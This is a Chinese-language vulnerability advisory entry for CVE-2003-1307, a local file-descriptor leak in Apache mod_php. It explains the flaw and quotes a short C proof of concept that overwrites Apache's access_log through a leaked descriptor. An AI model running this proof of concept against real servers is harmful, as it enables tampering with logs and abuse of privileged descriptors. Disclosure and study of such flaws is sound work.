Apache mod_php模块文件描述符本地泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107602 漏洞类型 访问验证错误
发布时间 2003-12-26 更新时间 2006-10-24
CVE编号 CVE-2003-1307 CNNVD-ID CNNVD-200312-435
漏洞平台 Linux CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/23482
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-435
|漏洞详情
Apache是一款流行的WEB服务程序。Apachemod_php存在一个安全问题,本地攻击者可以利用这个漏洞访问权限高的文件描述符,这可导致窃取和修改敏感信息。当使用mod_php时,许多文件描述符泄露给PHP脚本进程,如果脚本页面通过passthru()、exec()或system()调用外部程序,描述符就会写给这些程序。其中之一的描述符是监听描述符,监听443端口,也就是https,端口443是特权端口,一般由ROOT进程绑定。这个描述符由apache打开,而并不需要是否使用https。引起此漏洞主要是没有使用CLOEXEC标记的fcntl调用来防止特权文件描述符的泄露。利用这个问题,可能通过这些描述符窃取和修改Apache服务器端的敏感信息。
|漏洞EXP
source: http://www.securityfocus.com/bid/9302/info
 
Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information.

# apache's access_log can be overwritten with arbitrary content
# from PHP called executables.
# POC by frauk\x41ser && sk0L / SEC Consult 2006

#include <unistd.h>
#include <fcntl.h>

#define LOGFD 7

void main(){
        fcntl(LOGFD, F_SETFL, O_WRONLY); // change mode from append to write
        lseek(LOGFD, 0, SEEK_SET); // reposition to start of file
        write(LOGFD,"hehe\n",5);
}
|参考资料

来源:BID
名称:9302
链接:http://www.securityfocus.com/bid/9302
来源:BUGTRAQ
名称:20061020Re:PHP"exec","system","popen"(+smallPOC)
链接:http://www.securityfocus.com/archive/1/archive/1/449298/100/0/threaded
来源:BUGTRAQ
名称:20061019PHP"exec","system","popen"problem
链接:http://www.securityfocus.com/archive/1/archive/1/449234/100/0/threaded
来源:BUGTRAQ
名称:20031226HijackingApachehttpsbymod_php
链接:http://www.securityfocus.com/archive/1/348368
来源:hackerdom.ru
链接:http://hackerdom.ru/~dimmo/phpexpl.c
来源:bugs.php.net
链接:http://bugs.php.net/38915
来源:NSFOCUS
名称:5851
链接:http://www.nsfocus.net/vulndb/5851